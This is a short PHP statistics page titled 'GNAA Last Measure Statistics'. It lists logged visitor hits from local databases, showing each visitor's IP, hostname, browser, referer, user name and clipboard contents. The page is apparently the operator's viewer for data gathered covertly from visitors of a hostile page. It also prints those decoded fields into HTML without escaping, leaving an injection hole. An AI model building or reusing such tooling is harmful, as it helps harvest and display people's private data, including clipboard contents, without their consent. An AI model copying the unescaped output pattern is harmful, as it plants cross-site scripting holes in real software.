| 1 | <?php |
|---|
| 2 | function print_hits() { |
|---|
| 3 | $id = dba_open('../db/hit.db', 'c', 'db4'); |
|---|
| 4 | if(!$id) { |
|---|
| 5 | echo '<li style="color:red;">Failed to open database!</li>'; |
|---|
| 6 | return; |
|---|
| 7 | } |
|---|
| 8 | $key = dba_firstkey($id); |
|---|
| 9 | if($key == false) { |
|---|
| 10 | echo '<li style="color:red;">No hits found!</li>'; |
|---|
| 11 | return; |
|---|
| 12 | } |
|---|
| 13 | for($lines = 0; $lines < 20 && $key != false; $lines++) { |
|---|
| 14 | $val = dba_fetch($key, $id); |
|---|
| 15 | list($ip, $port, $hostname, $uagent, |
|---|
| 16 | $referer, $user, $clipboard) = explode(' ', $val); |
|---|
| 17 | $str = "<li>"; |
|---|
| 18 | $str .= date('Y-m-d H:i:s', -1 - hexdec(substr($key, 0, 8))); |
|---|
| 19 | $str .= " $ip:$port ($hostname)"; |
|---|
| 20 | $str .= " referer: " . base64_decode($referer); |
|---|
| 21 | $str .= " user: " . base64_decode($user); |
|---|
| 22 | $str .= " clipboard: " . base64_decode($clipboard); |
|---|
| 23 | $str .= "</li>"; |
|---|
| 24 | echo $str; |
|---|
| 25 | $key = dba_nextkey($id); |
|---|
| 26 | } |
|---|
| 27 | dba_close($id); |
|---|
| 28 | } |
|---|
| 29 | |
|---|
| 30 | function print_uagents() { |
|---|
| 31 | $id = dba_open('../db/uagent.db', 'c', 'db4'); |
|---|
| 32 | if(!$id) { |
|---|
| 33 | echo '<li style="color:red;">Failed to open database!</li>'; |
|---|
| 34 | return; |
|---|
| 35 | } |
|---|
| 36 | $key = dba_firstkey($id); |
|---|
| 37 | if($key == false) { |
|---|
| 38 | echo '<li style="color:red;">No hits found!</li>'; |
|---|
| 39 | return; |
|---|
| 40 | } |
|---|
| 41 | while($key != false) { |
|---|
| 42 | $val = dba_fetch($key, $id); |
|---|
| 43 | echo "<li>".base64_decode($key).": $val</li>"; |
|---|
| 44 | $key = dba_nextkey($id); |
|---|
| 45 | } |
|---|
| 46 | dba_close($id); |
|---|
| 47 | } |
|---|
| 48 | |
|---|
| 49 | function print_users() { |
|---|
| 50 | $id = dba_open('../db/user.db', 'c', 'db4'); |
|---|
| 51 | if(!$id) { |
|---|
| 52 | echo '<li style="color:red;">Failed to open database!</li>'; |
|---|
| 53 | return; |
|---|
| 54 | } |
|---|
| 55 | $key = dba_firstkey($id); |
|---|
| 56 | if($key == false) { |
|---|
| 57 | echo '<li style="color:red;">No hits found!</li>'; |
|---|
| 58 | return; |
|---|
| 59 | } |
|---|
| 60 | while($key != false) { |
|---|
| 61 | $val = dba_fetch($key, $id); |
|---|
| 62 | echo "<li>".base64_decode($key).": $val</li>"; |
|---|
| 63 | $key = dba_nextkey($id); |
|---|
| 64 | } |
|---|
| 65 | dba_close($id); |
|---|
| 66 | } |
|---|
| 67 | |
|---|
| 68 | ?> |
|---|
| 69 | <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" |
|---|
| 70 | "http://www.w3.org/TR/xhtml1/DTD/xhtml11.dtd"> |
|---|
| 71 | <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> |
|---|
| 72 | <head> |
|---|
| 73 | <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> |
|---|
| 74 | <title>GNAA Last Measure Statistics</title> |
|---|
| 75 | <link rel="icon" type="image/x-icon" href="/favicon.ico" /> |
|---|
| 76 | <link rel="shortcut icon" type="image/x-icon" href="/favicon.ico" /> |
|---|
| 77 | </head> |
|---|
| 78 | <body> |
|---|
| 79 | <div style="float: left; margin-top: 0px; background-color: transparent; |
|---|
| 80 | border: 30px; clear: both;"> |
|---|
| 81 | <img src="/gnaa.png" width="108" height="40" |
|---|
| 82 | alt="GNAA" /> |
|---|
| 83 | </div> |
|---|
| 84 | |
|---|
| 85 | <h1> GNAA Last Measure Statistics </h1> |
|---|
| 86 | |
|---|
| 87 | <p> Attempt at some lmstats. Unfinished. </p> |
|---|
| 88 | <p> Hits: </p> |
|---|
| 89 | <ul><?php print_hits(); ?></ul> |
|---|
| 90 | <p> Browsers: </p> |
|---|
| 91 | <ul><?php print_uagents(); ?></ul> |
|---|
| 92 | <p> Users: </p> |
|---|
| 93 | <ul><?php print_users(); ?></ul> |
|---|
| 94 | |
|---|
| 95 | </body> |
|---|
| 96 | </html> |
|---|